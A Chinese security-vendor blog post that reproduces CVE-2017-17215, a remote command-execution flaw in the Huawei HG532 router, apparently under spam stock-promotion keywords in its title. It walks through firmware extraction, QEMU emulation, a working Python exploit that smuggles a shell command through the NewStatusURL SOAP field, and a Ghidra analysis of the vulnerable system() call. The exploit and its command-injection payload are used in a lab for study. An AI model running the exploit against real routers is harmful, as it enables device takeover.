买股票怎么加杠杆佰朔资本介绍-k线图形态24种经典图解-【东方资本】,股票配资交易app,配资炒股比例国家规定是多少,配资在线平台排行榜

提交需求
*
*

*
*
*
立即提交
點擊”立即提交”,表明我理解并同意 《美創科技隱私條款》

logo

    產品與服務
    解決方案
    技術支持
    合作發展
    關于美創

    申請試用
      華為HG532路由器CVE-2017-17215遠程命令執行漏洞復現分析
      發布時間:2023-03-03 閱讀次數: 847 次
      漏洞簡述

      Huawei HG532系列路由器是一款為家庭和小型辦公用戶打造的無線路由器產品。2017年11月,Check Point發布安全預警CPAI-2017-1016,報告了華為 HG532 產品的遠程命令執行漏洞(CVE-2017-17215)。認證后的攻擊者可以向設備37215端口發送惡意報文發起攻擊,成功利用漏洞可以遠程執行任意代碼。

      環境搭建
      首先安裝binwalk固件分析工具
      注:部分資料顯示,通過apt install binwalk命令安裝的binwalk可能存在插件缺失,故此處通過官方github倉庫源碼進行手動安裝





      git clone https://github.com/devttys0/binwalkcd binwalksudo python3 setup.py installsudo ./deps.sh
      等待安裝完成即可

      圖片

      binwalk安裝完成后,下載存在漏洞的路由器固件


      https://ia801309.us.archive.org/15/items/RouterHG532e/router%20HG532e.rar
      將下載的rar文件解壓得到bin文件
      使用binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin --run-as=root命令解壓固件

      圖片

      若分析解壓成功
      通過tree _HG532eV100R001C01B020_upgrade_packet.bin.extracted -L 2命令即可看到如下的固件系統文件架構

      圖片

      接下來進行qemu虛擬機的構建







      #下載qemu虛擬機sudo apt-get install qemusudo apt-get install qemu binfmt-support qemu-user-static#下載鏡像wget 
      https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta#配置網絡,創建網橋sudo apt-get install bridge-utilssudo brctl addbr Virbr0sudo ifconfig Virbr0 192.168.10.1/24 up#創建tap接口,添加到網橋sudo apt install uml-utilitiessudo tunctl -t tap0sudo ifconfig tap0 192.168.10.11/24 upsudo brctl addif Virbr0 tap0#啟動qemu虛擬機apt install qemu-system-mipssudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
      此時輸入賬號root,密碼root,即可進入虛擬機

      圖片

      在虛擬機中執行如下命令進行網絡配置


      p

      ifconfig eth0 192.168.10.2/24 upping 192.168.10.1 -c 10
      然后另起一個會話窗口回到宿主機中執行下面的命令,將解壓固件得到的文件系統拷貝到虛擬機中


      scp -r squashfs-root/ root@192.168.10.2:~/

      圖片

      然后在虛擬機中執行如下的文件系統掛載命令



      mount -o bind /dev ./squashfs-root/devmount -t proc /proc ./squashfs-root/proc
      然后回到宿主機中另起一個窗口連接qemu虛擬機并啟動路由器程序





      ssh root@192.168.10.2chroot squashfs-root /bin/sh./bin/upnp./bin/mic

      圖片

      此時qemu虛擬機中的ip將會被改變,回到剛才的虛擬機窗口中執行如下的命令修改即可



      ifconfig eth0 192.168.10.2/24 upifconfig br0 192.168.10.11/24 up
      圖片
      最后使用宿主機的瀏覽器訪問https://192.168.10.2/即可看到路由器登錄界面

      圖片

      漏洞復現

      該漏洞的利用腳本代碼如下



      import requestsheaders = { "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"}data = '''<?xml version="1.0" ?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewStatusURL>;mkdir /sltest;</NewStatusURL> <NewDownloadURL>HUAWEIUPNP</NewDownloadURL> </u:Upgrade> </s:Body></s:Envelope>'''response = requests.post('http://192.168.10.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data) print(response)

      上述示例是在文件系統根目錄下創建一個sltest文件夾

      圖片

      執行python3 hg532_exp.py命令運行該腳本,可以看到返回了200狀態碼

      圖片

      此時在qemu虛擬機的~/squashfs-root目錄下可以看到sltest文件夾被成功創建,漏洞復現成功

      圖片

      漏洞分析

      通過上述漏洞利用腳本不難發現,該漏洞所利用的服務端口為32715,存在漏洞的接口為/ctrlt/DeviceUpgrade_1,存在漏洞的參數為NewStatusURL

      接下來可以在binwalk解壓得到的/squashfs-root目錄中搜索32715、DeviceUpgrade_1、NewStatusURL、NewDownloadURL關鍵字,看看哪個文件調用了這些存在漏洞的關鍵點




      grep -r 37215grep -r DeviceUpgrade_1grep -r NewStatusURL

      圖片

      可以發現,上述漏洞應和bin/upnp、bin/mic有關

      接下來啟動Ghidra,創建一個項目,然后將bin/upnp文件導入分析

      圖片

      圖片

      在Ghidra分析窗口中搜索NewStatusURL關鍵字,得到唯一結果

      圖片

      按住ctrl點擊相應函數名即可定位到偽代碼位置

      圖片




      int FUN_0040749c(int param_1){ int iVar1; int local_418; int local_414; char acStack_410 [1028];  iVar1 = ATP_XML_GetChildNodeByName(*(undefined4 *)(param_1 + 0x2c),"NewDownloadURL",0,&local_418 ); if (((iVar1 == 0) && (local_418 != 0)) && (iVar1 = ATP_XML_GetChildNodeByName (*(undefined4 *)(param_1 + 0x2c),"NewStatusURL",0,&local_414), iVar1 == 0) ) { if (local_414 != 0) { snprintf(acStack_410,0x400,"upg -g -U %s -t \'1 Firmware Upgrade Image\' -c upnp -r %s -d -b" , local_418,local_414); system(acStack_410); } } return iVar1;}

      可以發現,在18行處通過system函數執行系統命令,而system函數輸入的參數名為acStack_410,acStack_410則來源于snprintf函數。而在snprintf函數中,直接通過%s去拼接接收到的local_418、local_414參數,未經過任何處理。而local_418、local_414參數對應的就是xml中的NewDownloadURL、NewStatusURL節點的內容,形成了漏洞。


      免費試用
      服務熱線

      馬上咨詢

      400-811-3777

      回到頂部